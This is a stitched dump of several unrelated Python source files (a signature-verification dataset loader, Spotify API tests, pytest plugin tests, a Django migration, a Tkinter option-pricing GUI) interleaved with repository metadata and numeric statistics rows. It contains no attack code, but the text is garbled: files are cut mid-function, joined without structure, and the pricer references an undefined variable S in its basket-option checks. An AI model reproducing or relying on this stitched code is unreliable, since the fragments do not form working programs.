self.crop_multiple_fn = partial(random_crop_multiple, shape=input_shape)
if sk_subset is None:
self.sk_subset = set(subset)
else:
self.sk_subset = sk_subset
x, y, yforg = data
to_include = np.isin(y, subset)
self.mapping = list(subset)
self.x = x[to_include]
self.y = y[to_include]
self.yforg = yforg[to_include]
self.users = np.unique(self.y)
def __len__(self):
return len(self.mapping)
def __getitem__(self, item):
user = self.mapping[item]
# Genuine signatures: class 1
genuine_indexes = np.flatnonzero((self.y == user) & (self.yforg == False))
self.rng.shuffle(genuine_indexes)
user_signatures = self.x[genuine_indexes]
train_x = [self.crop_multiple_fn(user_signatures[0:self.num_gen])]
test_x = [self.crop_multiple_fn(user_signatures[self.num_gen:self.num_gen + self.num_gen_test])]
train_y = [np.ones(self.num_gen, dtype=int)]
test_y = [np.ones(self.num_gen_test, dtype=int)]
test_yforg = [np.zeros(self.num_gen_test, dtype=int)]
# Random forgeries: class 0
other_users = list(set(self.users).difference([user]))
if self.num_rf_train + self.num_rf_test > len(other_users):
replace = True
warnings.warn('Warning: overlap on Random Forgeries - do not user random forgery metrics')
else:
replace = False
chosen_users = self.rng.choice(other_users, self.num_rf_train + self.num_rf_test, replace=replace)
train_users = chosen_users[0:self.num_rf_train]
test_users = chosen_users[self.num_rf_train:]
for other in train_users:
other_indexes = np.flatnonzero((self.y == other) & (self.yforg == False))
other_idx = self.rng.choice(other_indexes, 1)[0]
train_x.append([self.crop_fn(self.x[other_idx])])
train_y.append([0])
for other in test_users:
other_indexes = np.flatnonzero((self.y == other) & (self.yforg == False))
other_idx = self.rng.choice(other_indexes, 1)[0]
test_x.append([self.crop_fn(self.x[other_idx])])
test_y.append([0])
test_yforg.append([0])
# If user has skilled forgeries, and skilled forgeries are being used:
if self.num_sk_test > 0 and user in self.sk_subset:
skilled_indexes = np.flatnonzero((self.y == user) & (self.yforg == True))
self.rng.shuffle(skilled_indexes)
skilled_forgeries = self.x[skilled_indexes]
test_x.append(self.crop_multiple_fn(skilled_forgeries[0:self.num_sk_test]))
test_y.append(np.zeros(self.num_sk_test, dtype=int))
test_yforg.append(np.ones(self.num_sk_test, dtype=int))
train_x = np.concatenate(train_x).astype(np.float32) / 255
train_y = np.concatenate(train_y)[:, np.newaxis]
test_x = np.concatenate(test_x).astype(np.float32) / 255
test_y = np.concatenate(test_y)[:, np.newaxis]
test_yforg = np.concatenate(test_yforg)[:, np.newaxis]
return train_x, train_y, test_x, test_y, test_yforg
@staticmethod
def collate_fn(batch):
""" Consolidates a batch of dataset items.
Parameters
----------
batch: list of N dataset items (train_x, train_y, test_x, test_y, test_yforg)
Returns
-------
train_x, train_y, test_x, test_y, test_yforg
Where each is a list of size N
"""
assert len(batch[0]) == 5 # train_x, train_y, test_x, test_y, test_yforg
all_data = []
for i in range(5):
all_data.append([b[i] for b in batch])
return all_data
| 42.298947 | 130 | 0.619699 | 2,767 | 20,092 | 4.228768 | 0.06433 | 0.040082 | 0.02393 | 0.033843 | 0.842065 | 0.829673 | 0.815486 | 0.801812 | 0.797026 | 0.793864 | 0 | 0.005475 | 0.281903 | 20,092 | 474 | 131 | 42.388186 | 0.805517 | 0.12821 | 0 | 0.73065 | 0 | 0 | 0.005836 | 0 | 0 | 0 | 0 | 0 | 0.003096 | 1 | 0.04644 | false | 0 | 0.027864 | 0.006192 | 0.108359 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8de00e3118c036acaa88192485db6fd38c9b922e | 1,704 | py | Python | tests/test_integration/test_async/test_album.py | Nobyx/pyfy | e18a7b7e48eefc4cb58e5d826c341bce99452a66 | [
"MIT"
] | 48 | 2019-02-13T19:53:39.000Z | 2021-05-04T20:56:34.000Z | tests/test_integration/test_async/test_album.py | Nobyx/pyfy | e18a7b7e48eefc4cb58e5d826c341bce99452a66 | [
"MIT"
] | 21 | 2019-01-09T17:46:13.000Z | 2021-08-22T12:38:59.000Z | tests/test_integration/test_async/test_album.py | Nobyx/pyfy | e18a7b7e48eefc4cb58e5d826c341bce99452a66 | [
"MIT"
] | 15 | 2019-01-03T01:30:24.000Z | 2022-01-30T09:53:18.000Z | import pytest
pytestmark = pytest.mark.asyncio
async def test_save_album(async_spotify_user_auth, nothing_was_the_same_album_id):
assert (
await async_spotify_user_auth.save_albums(nothing_was_the_same_album_id)
is not None
)
async def test_save_albums(
async_spotify_user_auth, scorpion_album_id, nothing_was_the_same_album_id
):
assert (
await async_spotify_user_auth.save_albums(
[scorpion_album_id, nothing_was_the_same_album_id]
)
is not None
)
async def test_owns_album(async_spotify_user_auth, scorpion_album_id):
assert await async_spotify_user_auth.owns_albums(scorpion_album_id)
async def test_owns_albums(
async_spotify_user_auth, scorpion_album_id, nothing_was_the_same_album_id
):
assert await async_spotify_user_auth.owns_albums(
[scorpion_album_id, nothing_was_the_same_album_id]
)
async def test_delete_album(async_spotify_user_auth, scorpion_album_id):
assert await async_spotify_user_auth.delete_albums(scorpion_album_id) is not None
async def test_delete_albums(
async_spotify_user_auth, scorpion_album_id, nothing_was_the_same_album_id
):
assert (
await async_spotify_user_auth.delete_albums(
[scorpion_album_id, nothing_was_the_same_album_id]
)
is not None
)
async def test_album(
async_spotify_user_auth, reise_reise_album_id, ritual_spirit_album_id
):
assert await async_spotify_user_auth.albums(
album_ids=[reise_reise_album_id, ritual_spirit_album_id]
)
async def test_albums(async_spotify_user_auth, reise_reise_album_id):
assert await async_spotify_user_auth.albums(reise_reise_album_id)
| 27.934426 | 85 | 0.780516 | 254 | 1,704 | 4.65748 | 0.122047 | 0.142012 | 0.216399 | 0.270499 | 0.912088 | 0.851226 | 0.851226 | 0.851226 | 0.736264 | 0.661877 | 0 | 0 | 0.171362 | 1,704 | 60 | 86 | 28.4 | 0.837819 | 0 | 0 | 0.372093 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.186047 | 1 | 0 | false | 0 | 0.023256 | 0 | 0.023256 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
30ef7b97c18df625f176ccfcf9e2b32e0b25b07e | 39 | py | Python | stograde/process_file/__init__.py | babatana/stograde | c1c447e99c44c23cef9dd857e669861f3708ae77 | [
"MIT"
] | 7 | 2016-08-05T00:41:11.000Z | 2019-08-22T11:12:10.000Z | stograde/process_file/__init__.py | babatana/stograde | c1c447e99c44c23cef9dd857e669861f3708ae77 | [
"MIT"
] | 145 | 2016-08-04T01:07:11.000Z | 2019-09-09T22:07:13.000Z | stograde/process_file/__init__.py | babatana/stograde | c1c447e99c44c23cef9dd857e669861f3708ae77 | [
"MIT"
] | 3 | 2017-02-06T21:52:46.000Z | 2019-02-18T10:35:01.000Z | from .process_file import process_file
| 19.5 | 38 | 0.871795 | 6 | 39 | 5.333333 | 0.666667 | 0.6875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102564 | 39 | 1 | 39 | 39 | 0.914286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
cce53420a7f67b3c0c7b6e20f09c5b76a657f931 | 105 | py | Python | mev/api/serializers/workspace_resource.py | hsph-qbrc/mev-backend | c381800aa7d53d7256e89a4db5a0f9444264e9a6 | [
"MIT"
] | 2 | 2021-11-15T08:11:59.000Z | 2022-03-12T05:24:23.000Z | mev/api/serializers/workspace_resource.py | hsph-qbrc/mev-backend | c381800aa7d53d7256e89a4db5a0f9444264e9a6 | [
"MIT"
] | 37 | 2020-08-03T14:57:02.000Z | 2022-02-25T19:56:40.000Z | mev/api/serializers/workspace_resource.py | hsph-qbrc/mev-backend | c381800aa7d53d7256e89a4db5a0f9444264e9a6 | [
"MIT"
] | 2 | 2021-07-12T03:22:52.000Z | 2021-11-15T08:12:01.000Z | from .resource import ResourceSerializer
class WorkspaceResourceSerializer(ResourceSerializer):
pass | 26.25 | 54 | 0.857143 | 8 | 105 | 11.25 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.104762 | 105 | 4 | 55 | 26.25 | 0.957447 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
692b282a1bca941c1c428fedbc8fdeb30abc4bfa | 5,588 | py | Python | tests/test_pytest_super_check.py | adamchainz/pytest-super-check | fb3cd6db52ec48d478bc0a7ceb48d78140d91358 | [
"MIT"
] | 7 | 2016-04-21T08:34:04.000Z | 2021-12-20T14:51:07.000Z | tests/test_pytest_super_check.py | adamchainz/pytest-super-check | fb3cd6db52ec48d478bc0a7ceb48d78140d91358 | [
"MIT"
] | 6 | 2017-02-01T20:34:03.000Z | 2020-10-28T13:42:14.000Z | tests/test_pytest_super_check.py | adamchainz/pytest-super-check | fb3cd6db52ec48d478bc0a7ceb48d78140d91358 | [
"MIT"
] | 1 | 2017-02-01T20:23:25.000Z | 2017-02-01T20:23:25.000Z | pytest_plugins = ["pytester"]
def test_it_does_not_complain_when_everything_supers_correctly(testdir):
testdir.makepyfile(
test_one="""
from unittest import TestCase
class MyTests(TestCase):
@classmethod
def setUpClass(cls):
super(MyTests, cls).setUpClass()
@classmethod
def setUpTestData(cls):
super(MyTests, cls).setUpTestData()
def setUp(self):
super(MyTests, self).setUp()
def test_one(self):
pass
def tearDown(self):
super(MyTests, self).tearDown()
@classmethod
def tearDownClass(cls):
super(MyTests, cls).tearDownClass()
"""
)
out = testdir.runpytest()
out.assert_outcomes(passed=1, failed=0)
def test_it_complains_when_a_case_does_not_super_in_setUp(testdir):
testdir.makepyfile(
test_one="""
from unittest import TestCase
class MyTests(TestCase):
def setUp(self):
self.x = 1
def test_one(self):
pass
"""
)
out = testdir.runpytest()
assert out.ret > 0
out.stderr.fnmatch_lines(
["ERROR: test_one.py::MyTests does not call super() in setUp"]
)
def test_it_complains_when_a_case_does_not_super_in_tearDown(testdir):
testdir.makepyfile(
test_one="""
from unittest import TestCase
class MyTests(TestCase):
def tearDown(self):
self.x = 1
def test_one(self):
pass
"""
)
out = testdir.runpytest()
assert out.ret > 0
out.stderr.fnmatch_lines(
["ERROR: test_one.py::MyTests does not call super() in tearDown"]
)
def test_it_complains_when_a_case_does_not_super_in_setUpClass(testdir):
testdir.makepyfile(
test_one="""
from unittest import TestCase
class MyTests(TestCase):
@classmethod
def setUpClass(cls):
cls.x = 1
def test_one(self):
pass
"""
)
out = testdir.runpytest()
assert out.ret > 0
out.stderr.fnmatch_lines(
["ERROR: test_one.py::MyTests does not call super() in setUpClass"]
)
def test_it_complains_when_a_case_does_not_super_in_setUpTestData(testdir):
testdir.makepyfile(
test_one="""
from unittest import TestCase
class TestData(object): # Fake for Django test case
@classmethod
def setUpTestData(cls):
pass
class MyTests(TestData, TestCase):
@classmethod
def setUpTestData(cls):
cls.x = 1
def test_one(self):
pass
"""
)
out = testdir.runpytest()
assert out.ret > 0
out.stderr.fnmatch_lines(
["ERROR: test_one.py::MyTests does not call super() in setUpTestData"]
)
def test_it_complains_when_a_case_does_not_super_in_tearDownClass(testdir):
testdir.makepyfile(
test_one="""
from unittest import TestCase
class MyTests(TestCase):
@classmethod
def tearDownClass(cls):
cls.x = 1
def test_one(self):
pass
"""
)
out = testdir.runpytest()
assert out.ret > 0
out.stderr.fnmatch_lines(
["ERROR: test_one.py::MyTests does not call super() in tearDownClass"]
)
def test_it_complains_when_a_case_does_not_super_in_setUp_and_setUpClass(testdir):
testdir.makepyfile(
test_one="""
from unittest import TestCase
class MyTests(TestCase):
@classmethod
def setUpClass(cls):
cls.x = 1
def setUp(self):
self.y = 1
def test_one(self):
pass
"""
)
out = testdir.runpytest()
assert out.ret > 0
out.stderr.fnmatch_lines(
["ERROR: test_one.py::MyTests does not call super() in setUpClass, setUp"]
)
def test_it_does_not_complain_when_a_decorator_is_used_but_super_is_called(testdir):
testdir.makepyfile(
test_one="""
from functools import wraps
from unittest import TestCase
def mydecorator(func):
@wraps(func)
def wrapper(self):
return func(self)
wrapper.__wrapped__ = func # Python 2.7 compat
return wrapper
class MyTests(TestCase):
@mydecorator
def setUp(self):
super(MyTests, self).setUp()
def test_one(self):
pass
"""
)
out = testdir.runpytest()
out.assert_outcomes(passed=1, failed=0)
def test_it_complains_when_a_decorator_is_used_and_super_is_not_called(testdir):
testdir.makepyfile(
test_one="""
from functools import wraps
from unittest import TestCase
def mydecorator(func):
@wraps(func)
def wrapper(self):
return func(self)
wrapper.__wrapped__ = func # Python 2.7 compat
return wrapper
class MyTests(TestCase):
@mydecorator
def setUp(self):
self.x = 1
def test_one(self):
pass
"""
)
out = testdir.runpytest()
assert out.ret > 0
out.stderr.fnmatch_lines(
["ERROR: test_one.py::MyTests does not call super() in setUp"]
)
| 23.186722 | 84 | 0.562634 | 605 | 5,588 | 4.968595 | 0.123967 | 0.058217 | 0.026946 | 0.083832 | 0.838989 | 0.828676 | 0.828676 | 0.810047 | 0.810047 | 0.810047 | 0 | 0.006348 | 0.351646 | 5,588 | 240 | 85 | 23.283333 | 0.823351 | 0 | 0 | 0.784091 | 0 | 0 | 0.628848 | 0 | 0 | 0 | 0 | 0 | 0.051136 | 1 | 0.051136 | false | 0.068182 | 0.0625 | 0 | 0.136364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
6949fff6fe1e9fc25c7b908536acba476f02c00d | 1,957 | py | Python | donationdb/donations/migrations/0011_auto_20210522_1246.py | emilkauppi/vision.tf.fi | f0d668c6af38bac5575b87d27a1db4ff9864b7de | [
"MIT"
] | null | null | null | donationdb/donations/migrations/0011_auto_20210522_1246.py | emilkauppi/vision.tf.fi | f0d668c6af38bac5575b87d27a1db4ff9864b7de | [
"MIT"
] | null | null | null | donationdb/donations/migrations/0011_auto_20210522_1246.py | emilkauppi/vision.tf.fi | f0d668c6af38bac5575b87d27a1db4ff9864b7de | [
"MIT"
] | null | null | null | # Generated by Django 3.1.7 on 2021-05-22 12:46
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('donations', '0010_auto_20210522_1244'),
]
operations = [
migrations.AlterField(
model_name='donation',
name='city',
field=models.CharField(blank=True, max_length=50),
),
migrations.AlterField(
model_name='donation',
name='first_name',
field=models.CharField(max_length=50),
),
migrations.AlterField(
model_name='donation',
name='group_name',
field=models.CharField(blank=True, max_length=50),
),
migrations.AlterField(
model_name='donation',
name='last_name',
field=models.CharField(max_length=50),
),
migrations.AlterField(
model_name='donation',
name='organization_city',
field=models.CharField(blank=True, max_length=50),
),
migrations.AlterField(
model_name='donation',
name='organization_country',
field=models.CharField(blank=True, max_length=50),
),
migrations.AlterField(
model_name='donation',
name='organization_fo_number',
field=models.CharField(blank=True, max_length=50),
),
migrations.AlterField(
model_name='donation',
name='organization_name',
field=models.CharField(blank=True, max_length=50),
),
migrations.AlterField(
model_name='donation',
name='organization_zip_code',
field=models.CharField(blank=True, max_length=5),
),
migrations.AlterField(
model_name='donation',
name='zip_code',
field=models.CharField(blank=True, max_length=5),
),
]
| 30.578125 | 62 | 0.563618 | 186 | 1,957 | 5.747312 | 0.258065 | 0.187091 | 0.233863 | 0.271282 | 0.830683 | 0.830683 | 0.753976 | 0.753976 | 0.753976 | 0.753976 | 0 | 0.036981 | 0.322943 | 1,957 | 63 | 63 | 31.063492 | 0.769811 | 0.022994 | 0 | 0.701754 | 1 | 0 | 0.13089 | 0.034555 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.017544 | 0 | 0.070175 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
c6283f3837e0deeaa43d793e83b1c02ac52e2a70 | 479 | py | Python | temboo/core/Library/NYTimes/MostPopular/__init__.py | jordanemedlock/psychtruths | 52e09033ade9608bd5143129f8a1bfac22d634dd | [
"Apache-2.0"
] | 7 | 2016-03-07T02:07:21.000Z | 2022-01-21T02:22:41.000Z | temboo/core/Library/NYTimes/MostPopular/__init__.py | jordanemedlock/psychtruths | 52e09033ade9608bd5143129f8a1bfac22d634dd | [
"Apache-2.0"
] | null | null | null | temboo/core/Library/NYTimes/MostPopular/__init__.py | jordanemedlock/psychtruths | 52e09033ade9608bd5143129f8a1bfac22d634dd | [
"Apache-2.0"
] | 8 | 2016-06-14T06:01:11.000Z | 2020-04-22T09:21:44.000Z | from temboo.Library.NYTimes.MostPopular.GetMostEmailed import GetMostEmailed, GetMostEmailedInputSet, GetMostEmailedResultSet, GetMostEmailedChoreographyExecution
from temboo.Library.NYTimes.MostPopular.GetMostShared import GetMostShared, GetMostSharedInputSet, GetMostSharedResultSet, GetMostSharedChoreographyExecution
from temboo.Library.NYTimes.MostPopular.GetMostViewed import GetMostViewed, GetMostViewedInputSet, GetMostViewedResultSet, GetMostViewedChoreographyExecution
| 119.75 | 162 | 0.912317 | 33 | 479 | 13.242424 | 0.545455 | 0.06865 | 0.116705 | 0.16476 | 0.240275 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043841 | 479 | 3 | 163 | 159.666667 | 0.954148 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
c64e9f33e0061bd2010dfcc1fb32352e8b665262 | 14,761 | py | Python | mainProgram.py | haroon91/OptionPricer | 2463a84d3a5f5dd97f9fb1d11f4a397a840bfbd1 | [
"MIT"
] | 1 | 2019-02-25T08:07:14.000Z | 2019-02-25T08:07:14.000Z | mainProgram.py | haroon91/OptionPricer | 2463a84d3a5f5dd97f9fb1d11f4a397a840bfbd1 | [
"MIT"
] | null | null | null | mainProgram.py | haroon91/OptionPricer | 2463a84d3a5f5dd97f9fb1d11f4a397a840bfbd1 | [
"MIT"
] | null | null | null | import formula_functions as formulas
from Tkinter import *
import pygubu
class App:
def __init__(self, master):
self.master = master
self.builder = builder = pygubu.Builder()
# this is to load the ui file
builder.add_from_file('ass3_UI.ui')
# add windows here
self.mainWindow = builder.get_object('mainWindow', master)
# callbacks
builder.connect_callbacks(self)
def open_e_option_window(self):
self.mainWindow = self.builder.get_object('eOptionWindow', self.master)
self.builder.connect_callbacks(self)
def calculate_eOptionPrice(self):
try:
S = self.builder.tkvariables['entry_assetPrice'].get()
v = self.builder.tkvariables['entry_volatility'].get() / 100.0
r = self.builder.tkvariables['entry_riskFreeRate'].get() / 100.0
q = self.builder.tkvariables['entry_repoRate'].get() / 100.0
T = self.builder.tkvariables['entry_timetoM'].get()
K = self.builder.tkvariables['entry_strikePrice'].get()
putOrCall = self.builder.tkvariables['optionType'].get()
if (S <= 0 or K <= 0):
self.builder.tkvariables['optionPrice'].set(
'Unable to compute because of invalid or incomplete entries. Please try again')
return
optionPriceLabel = self.builder.tkvariables['optionPrice'].get()
optionPriceLabel = str(optionPriceLabel) + ' ...Calculating...'
self.builder.tkvariables['optionPrice'].set(optionPriceLabel)
putStr = 'put'
callStr = 'call'
optionPrice = 'NaN'
if (str(putOrCall).lower() == putStr.lower()):
optionPrice = formulas.putValue(S,K,v,r,q,T,0)
elif (str(putOrCall).lower() == callStr.lower()):
optionPrice = formulas.callValue(S,K,v,r,q,T,0)
else:
raise Exception
self.builder.tkvariables['optionPrice'].set('Option Price = ' + str(round(optionPrice, 5)))
except Exception:
self.builder.tkvariables['optionPrice'].set(
'Unable to compute because of invalid or incomplete entries. Please try again')
def open_impV_window(self):
self.mainWindow = self.builder.get_object('impVolWindow', self.master)
self.builder.connect_callbacks(self)
def calculate_impVol(self):
try:
S = self.builder.tkvariables['entry_assetPrice'].get()
r = self.builder.tkvariables['entry_riskFreeRate'].get() / 100.0
q = self.builder.tkvariables['entry_repoRate'].get() / 100.0
T = self.builder.tkvariables['entry_timetoM'].get()
K = self.builder.tkvariables['entry_strikePrice'].get()
Op_true = self.builder.tkvariables['entry_optionPremium'].get()
putOrCall = self.builder.tkvariables['optionType'].get()
impVPriceLabel = self.builder.tkvariables['impV'].get()
impVPriceLabel = str(impVPriceLabel) + ' ...Calculating...'
self.builder.tkvariables['impV'].set(impVPriceLabel)
if (S <= 0 or K <= 0 or Op_true < 0):
self.builder.tkvariables['impV'].set(
'Unable to compute because of invalid or incomplete entries. Please try again')
return
putStr = 'put'
callStr = 'call'
impV = 'NaN'
if (str(putOrCall).lower() == putStr.lower()):
impV = formulas.impliedVolatilityPut(S,K,T,0,q,r,Op_true)
elif (str(putOrCall).lower() == callStr.lower()):
impV = formulas.impliedVolatilityCall(S,K,T,0,q,r,Op_true)
else:
raise Exception
self.builder.tkvariables['impV'].set('Implied Volatility = ' + str(round(impV, 5)))
except Exception:
self.builder.tkvariables['impV'].set(
'Unable to compute because of invalid or incomplete entries. Please try again')
def open_a_option_window(self):
self.mainWindow = self.builder.get_object('amOptionWindow', self.master)
self.builder.connect_callbacks(self)
def calculate_amOptionPrice(self):
try:
S = self.builder.tkvariables['entry_assetPrice'].get()
v = self.builder.tkvariables['entry_volatility'].get() / 100.0
r = self.builder.tkvariables['entry_riskFreeRate'].get() / 100.0
T = self.builder.tkvariables['entry_timetoM'].get()
K = self.builder.tkvariables['entry_strikePrice'].get()
N = self.builder.tkvariables['entry_noOfSteps'].get()
putOrCall = self.builder.tkvariables['optionType'].get()
optionPriceLabel = self.builder.tkvariables['optionPrice'].get()
optionPriceLabel = str(optionPriceLabel) + ' ...Calculating...'
self.builder.tkvariables['optionPrice'].set(optionPriceLabel)
if (S <= 0 or K <= 0):
self.builder.tkvariables['optionPrice'].set(
'Unable to compute because of invalid or incomplete entries. Please try again')
return
putStr = 'put'
callStr = 'call'
optionPrice = 'NaN'
if str(putOrCall).lower() == putStr.lower():
optionPrice = formulas.binomialTreeOptionValue(S,K,v,r,T,N,-1)
elif str(putOrCall).lower() == callStr.lower():
optionPrice = formulas.binomialTreeOptionValue(S,K,v,r,T,N,1)
else:
raise Exception
self.builder.tkvariables['optionPrice'].set('Option Price = ' + str(round(optionPrice, 5)))
except Exception:
self.builder.tkvariables['optionPrice'].set(
'Unable to compute because of invalid or incomplete entries. Please try again')
def open_geo_asian_option_window(self):
self.mainWindow = self.builder.get_object('geoAsianOptionWindow', self.master)
self.builder.connect_callbacks(self)
def calculate_geoAsianOptionPrice(self):
try:
S = self.builder.tkvariables['entry_assetPrice'].get()
v = self.builder.tkvariables['entry_volatility'].get() / 100.0
r = self.builder.tkvariables['entry_riskFreeRate'].get() / 100.0
T = self.builder.tkvariables['entry_timetoM'].get()
K = self.builder.tkvariables['entry_strikePrice'].get()
N = self.builder.tkvariables['entry_noOfObservations'].get()
putOrCall = self.builder.tkvariables['optionType'].get()
optionPriceLabel = self.builder.tkvariables['optionPrice'].get()
optionPriceLabel = str(optionPriceLabel) + ' ...Calculating...'
self.builder.tkvariables['optionPrice'].set(optionPriceLabel)
if (S <= 0 or K <= 0 or v < 0 or T < 0):
self.builder.tkvariables['optionPrice'].set(
'Unable to compute because of invalid or incomplete entries. Please try again')
return
putStr = 'put'
callStr = 'call'
optionPrice = 'NaN'
if str(putOrCall).lower() == putStr.lower():
optionPrice = formulas.geometricAsianPutValue(S,K,v,r,T,N)
elif str(putOrCall).lower() == callStr.lower():
optionPrice = formulas.geometricAsianCallValue(S,K,v,r,T,N)
else:
raise Exception
self.builder.tkvariables['optionPrice'].set('Option Price = ' + str(round(optionPrice, 5)))
except Exception:
self.builder.tkvariables['optionPrice'].set(
'Unable to compute because of invalid or incomplete entries. Please try again')
def open_geo_basket_option_window(self):
self.mainWindow = self.builder.get_object('geoBasketOptionWindow', self.master)
self.builder.connect_callbacks(self)
def calculate_geoBasketOptionPrice(self):
try:
S1 = self.builder.tkvariables['entry_assetPrice1'].get()
S2 = self.builder.tkvariables['entry_assetPrice2'].get()
v1 = self.builder.tkvariables['entry_assetVolatility1'].get() / 100.0
v2 = self.builder.tkvariables['entry_assetVolatility2'].get() / 100.0
r = self.builder.tkvariables['entry_riskFreeRate'].get() / 100.0
T = self.builder.tkvariables['entry_timetoM'].get()
K = self.builder.tkvariables['entry_strikePrice'].get()
corr = self.builder.tkvariables['entry_correlation'].get() * 1.0
putOrCall = self.builder.tkvariables['optionType'].get()
optionPriceLabel = self.builder.tkvariables['optionPrice'].get()
optionPriceLabel = str(optionPriceLabel) + ' ...Calculating...'
self.builder.tkvariables['optionPrice'].set(optionPriceLabel)
if (S <= 0 or K <= 0 or v1 < 0 or v2 < 0 or T < 0 or corr > 1 or corr < -1):
self.builder.tkvariables['optionPrice'].set('Unable to compute because of invalid or incomplete entries\n Please try again')
return
optionPrice = formulas.geometricBasketOptionValue(S1, S2, v1, v2, r, T, K, corr, putOrCall)
self.builder.tkvariables['optionPrice'].set('Option Price = ' + str(round(optionPrice,5)))
except Exception:
self.builder.tkvariables['optionPrice'].set('Unable to compute because of invalid or incomplete entries. Please try again')
def open_arith_asian_option_window(self):
self.mainWindow = self.builder.get_object('arithAsianOptionWindow', self.master)
self.builder.connect_callbacks(self)
def calculate_arithAsianOptionPrice(self):
try:
S = self.builder.tkvariables['entry_assetPrice'].get()
v = self.builder.tkvariables['entry_volatility'].get() / 100.0
r = self.builder.tkvariables['entry_riskFreeRate'].get() / 100.0
T = self.builder.tkvariables['entry_timetoM'].get()
K = self.builder.tkvariables['entry_strikePrice'].get()
N = self.builder.tkvariables['entry_noOfObservations'].get()
M = self.builder.tkvariables['entry_noOfSteps'].get()
controlVariate = self.builder.tkvariables['entry_controlVariate'].get()
putOrCall = self.builder.tkvariables['entry_optionType'].get()
optionPriceLabel = self.builder.tkvariables['optionPrice'].get()
optionPriceLabel = str(optionPriceLabel) + ' ...Calculating...'
self.builder.tkvariables['optionPrice'].set(optionPriceLabel)
if (S <= 0 or K <= 0 or v < 0 or T < 0):
self.builder.tkvariables['optionPrice'].set(
'Unable to compute because of invalid or incomplete entries\n Please try again')
return
putStr = 'put'
callStr = 'call'
optionPrice = 'NaN'
controlVariateValue = False
if str(controlVariate).lower() == 'True'.lower():
controlVariateValue = True
elif str(controlVariate).lower() == 'False'.lower():
controlVariateValue = False
else:
raise Exception
if str(putOrCall).lower() == putStr.lower():
optionPrice = formulas.arithmeticAsianCallValue(S, K, v, r, T, N, M, controlVariateValue, -1)
elif str(putOrCall).lower() == callStr.lower():
optionPrice = formulas.arithmeticAsianCallValue(S, K, v, r, T, N, M, controlVariateValue, 1)
else:
raise Exception
optionPrice = round(optionPrice, 5)
self.builder.tkvariables['optionPrice'].set('Option Price = ' + str(optionPrice))
except Exception:
self.builder.tkvariables['optionPrice'].set(
'Unable to compute because of invalid or incomplete entries\n Please try again')
def open_arith_basket_option_window(self):
self.mainWindow = self.builder.get_object('arithBasketOptionWindow', self.master)
self.builder.connect_callbacks(self)
def calculate_arithBasketOptionPrice(self):
try:
S1 = self.builder.tkvariables['entry_assetPrice1'].get()
S2 = self.builder.tkvariables['entry_assetPrice2'].get()
v1 = self.builder.tkvariables['entry_assetVolatility1'].get() / 100.0
v2 = self.builder.tkvariables['entry_assetVolatility2'].get() / 100.0
r = self.builder.tkvariables['entry_riskFreeRate'].get() / 100.0
T = self.builder.tkvariables['entry_timetoM'].get()
K = self.builder.tkvariables['entry_strikePrice'].get()
corr = self.builder.tkvariables['entry_correlation'].get()
M = self.builder.tkvariables['entry_noOfSteps'].get()
controlVariate = self.builder.tkvariables['entry_controlVariate'].get()
putOrCall = self.builder.tkvariables['entry_optionType'].get()
optionPriceLabel = self.builder.tkvariables['optionPrice'].get()
optionPriceLabel = str(optionPriceLabel) + ' ...Calculating...'
self.builder.tkvariables['optionPrice'].set(optionPriceLabel)
if (S <= 0 or K <= 0 or v1 < 0 or v2 < 0 or T < 0):
